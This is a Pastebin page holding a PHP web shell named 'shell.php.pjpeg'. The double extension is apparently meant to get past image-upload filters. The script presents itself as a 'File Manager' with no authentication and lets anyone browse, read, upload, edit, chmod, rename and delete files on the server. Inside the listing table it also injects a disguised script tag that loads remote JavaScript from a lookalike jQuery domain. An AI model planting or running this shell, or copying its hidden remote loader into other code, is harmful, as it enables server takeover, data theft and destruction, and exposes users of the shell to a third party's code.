Advertisement
anvenger

shell.php.pjpeg

Jun 2nd, 2018
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.84 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6.     foreach($_POST as $key=>$value){
  7.         $_POST[$key] = stripslashes($value);
  8.     }
  9. }
  10. echo '<html><head>
  11. <title>-_-</title>
  12. </head><body>
  13. <H1><center>File Manager</center></H1>
  14. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  15. <tr><td>Current Path : ';
  16. if(isset($_GET['path'])){
  17.     $path = $_GET['path'];  
  18. }else{
  19.     $path = getcwd();
  20. }
  21. $path = str_replace('\\','/',$path);
  22. $paths = explode('/',$path);
  23.  
  24. foreach($paths as $id=>$pat){
  25.     if($pat == '' && $id == 0){
  26.         $a = true;
  27.         echo '<a href="?path=/">/</a>';
  28.         continue;
  29.     }
  30.     if($pat == '') continue;
  31.     echo '<a href="?path=';
  32.     for($i=0;$i<=$id;$i++){
  33.         echo "$paths[$i]";
  34.         if($i != $id) echo "/";
  35.     }
  36.     echo '">'.$pat.'</a>/';
  37. }
  38. echo '</td></tr><tr><td>';
  39. if(isset($_FILES['file'])){
  40.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  41.         echo '<font color="green">File Upload Done.</font><br />';
  42.     }else{
  43.         echo '<font color="red">File Upload Error.</font><br />';
  44.     }
  45. }
  46. echo '<form enctype="multipart/form-data" method="POST">
  47. Upload File : <input type="file" name="file" />
  48. <input type="submit" value="upload" />
  49. </form>
  50. </td></tr>';
  51. if(isset($_GET['filesrc'])){
  52.     echo "<tr><td>Current File : ";
  53.     echo $_GET['filesrc'];
  54.     echo '</tr></td></table><br />';
  55.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  56. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  57.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  58.     if($_POST['opt'] == 'chmod'){
  59.         if(isset($_POST['perm'])){
  60.             if(chmod($_POST['path'],$_POST['perm'])){
  61.                 echo '<font color="green">Change Permission Done.</font><br />';
  62.             }else{
  63.                 echo '<font color="red">Change Permission Error.</font><br />';
  64.             }
  65.         }
  66.         echo '<form method="POST">
  67.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  68.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  69.        <input type="hidden" name="opt" value="chmod">
  70.        <input type="submit" value="Go" />
  71.        </form>';
  72.     }elseif($_POST['opt'] == 'rename'){
  73.         if(isset($_POST['newname'])){
  74.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  75.                 echo '<font color="green">Change Name Done.</font><br />';
  76.             }else{
  77.                 echo '<font color="red">Change Name Error.</font><br />';
  78.             }
  79.             $_POST['name'] = $_POST['newname'];
  80.         }
  81.         echo '<form method="POST">
  82.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  83.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  84.        <input type="hidden" name="opt" value="rename">
  85.        <input type="submit" value="Go" />
  86.        </form>';
  87.     }elseif($_POST['opt'] == 'edit'){
  88.         if(isset($_POST['src'])){
  89.             $fp = fopen($_POST['path'],'w');
  90.             if(fwrite($fp,$_POST['src'])){
  91.                 echo '<font color="green">Edit File Done.</font><br />';
  92.             }else{
  93.                 echo '<font color="red">Edit File Error.</font><br />';
  94.             }
  95.             fclose($fp);
  96.         }
  97.         echo '<form method="POST">
  98.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  99.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  100.        <input type="hidden" name="opt" value="edit">
  101.        <input type="submit" value="Go" />
  102.        </form>';
  103.     }
  104.     echo '</center>';
  105. }else{
  106.     echo '</table><br /><center>';
  107.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  108.         if($_POST['type'] == 'dir'){
  109.             if(rmdir($_POST['path'])){
  110.                 echo '<font color="green">Delete Dir Done.</font><br />';
  111.             }else{
  112.                 echo '<font color="red">Delete Dir Error.</font><br />';
  113.             }
  114.         }elseif($_POST['type'] == 'file'){
  115.             if(unlink($_POST['path'])){
  116.                 echo '<font color="green">Delete File Done.</font><br />';
  117.             }else{
  118.                 echo '<font color="red">Delete File Error.</font><br />';
  119.             }
  120.         }
  121.     }
  122.     echo '</center>';
  123.     $scandir = scandir($path);
  124.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  125.    <tr class="first">
  126.        <td><center>Name</center></td>
  127.        <td><center>Size</center></td>
  128.        <td><center>Permissions</center></td>
  129.        <td><center>Options</center></td>
  130.         <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  131.  
  132.    </tr>';
  133.  
  134.     foreach($scandir as $dir){
  135.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  136.         echo "<tr>
  137.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  138.        <td><center>--</center></td>
  139.        <td><center>";
  140.         if(is_writable("$path/$dir")) echo '<font color="green">';
  141.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  142.         echo perms("$path/$dir");
  143.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  144.        
  145.         echo "</center></td>
  146.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  147.        <select name=\"opt\">
  148.        <option value=\"\"></option>
  149.        <option value=\"delete\">Delete</option>
  150.        <option value=\"chmod\">Chmod</option>
  151.        <option value=\"rename\">Rename</option>
  152.        </select>
  153.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  154.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  155.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  156.        <input type=\"submit\" value=\">\" />
  157.        </form></center></td>
  158.        </tr>";
  159.     }
  160.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  161.     foreach($scandir as $file){
  162.         if(!is_file("$path/$file")) continue;
  163.         $size = filesize("$path/$file")/1024;
  164.         $size = round($size,3);
  165.         if($size >= 1024){
  166.             $size = round($size/1024,2).' MB';
  167.         }else{
  168.             $size = $size.' KB';
  169.         }
  170.  
  171.         echo "<tr>
  172.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  173.        <td><center>".$size."</center></td>
  174.        <td><center>";
  175.         if(is_writable("$path/$file")) echo '<font color="green">';
  176.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  177.         echo perms("$path/$file");
  178.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  179.         echo "</center></td>
  180.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  181.        <select name=\"opt\">
  182.        <option value=\"\"></option>
  183.        <option value=\"delete\">Delete</option>
  184.        <option value=\"chmod\">Chmod</option>
  185.        <option value=\"rename\">Rename</option>
  186.        <option value=\"edit\">Edit</option>
  187.        </select>
  188.        <input type=\"hidden\" name=\"type\" value=\"file\">
  189.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  190.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  191.        <input type=\"submit\" value=\">\" />
  192.        </form></center></td>
  193.        </tr>";
  194.     }
  195.     echo '</table>
  196.    </div>';
  197. }
  198. echo '<br />Coded by -_- janina</font>
  199. </BODY>
  200. </HTML>';
  201. function perms($file){
  202.     $perms = fileperms($file);
  203.  
  204. if (($perms & 0xC000) == 0xC000) {
  205.     // Socket
  206.     $info = 's';
  207. } elseif (($perms & 0xA000) == 0xA000) {
  208.     // Symbolic Link
  209.     $info = 'l';
  210. } elseif (($perms & 0x8000) == 0x8000) {
  211.     // Regular
  212.     $info = '-';
  213. } elseif (($perms & 0x6000) == 0x6000) {
  214.     // Block special
  215.     $info = 'b';
  216. } elseif (($perms & 0x4000) == 0x4000) {
  217.     // Directory
  218.     $info = 'd';
  219. } elseif (($perms & 0x2000) == 0x2000) {
  220.     // Character special
  221.     $info = 'c';
  222. } elseif (($perms & 0x1000) == 0x1000) {
  223.     // FIFO pipe
  224.     $info = 'p';
  225. } else {
  226.     // Unknown
  227.     $info = 'u';
  228. }
  229.  
  230. // Owner
  231. $info .= (($perms & 0x0100) ? 'r' : '-');
  232. $info .= (($perms & 0x0080) ? 'w' : '-');
  233. $info .= (($perms & 0x0040) ?
  234.             (($perms & 0x0800) ? 's' : 'x' ) :
  235.             (($perms & 0x0800) ? 'S' : '-'));
  236.  
  237. // Group
  238. $info .= (($perms & 0x0020) ? 'r' : '-');
  239. $info .= (($perms & 0x0010) ? 'w' : '-');
  240. $info .= (($perms & 0x0008) ?
  241.             (($perms & 0x0400) ? 's' : 'x' ) :
  242.             (($perms & 0x0400) ? 'S' : '-'));
  243.  
  244. // World
  245. $info .= (($perms & 0x0004) ? 'r' : '-');
  246. $info .= (($perms & 0x0002) ? 'w' : '-');
  247. $info .= (($perms & 0x0001) ?
  248.             (($perms & 0x0200) ? 't' : 'x' ) :
  249.             (($perms & 0x0200) ? 'T' : '-'));
  250.  
  251.     return $info;
  252. }
  253. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement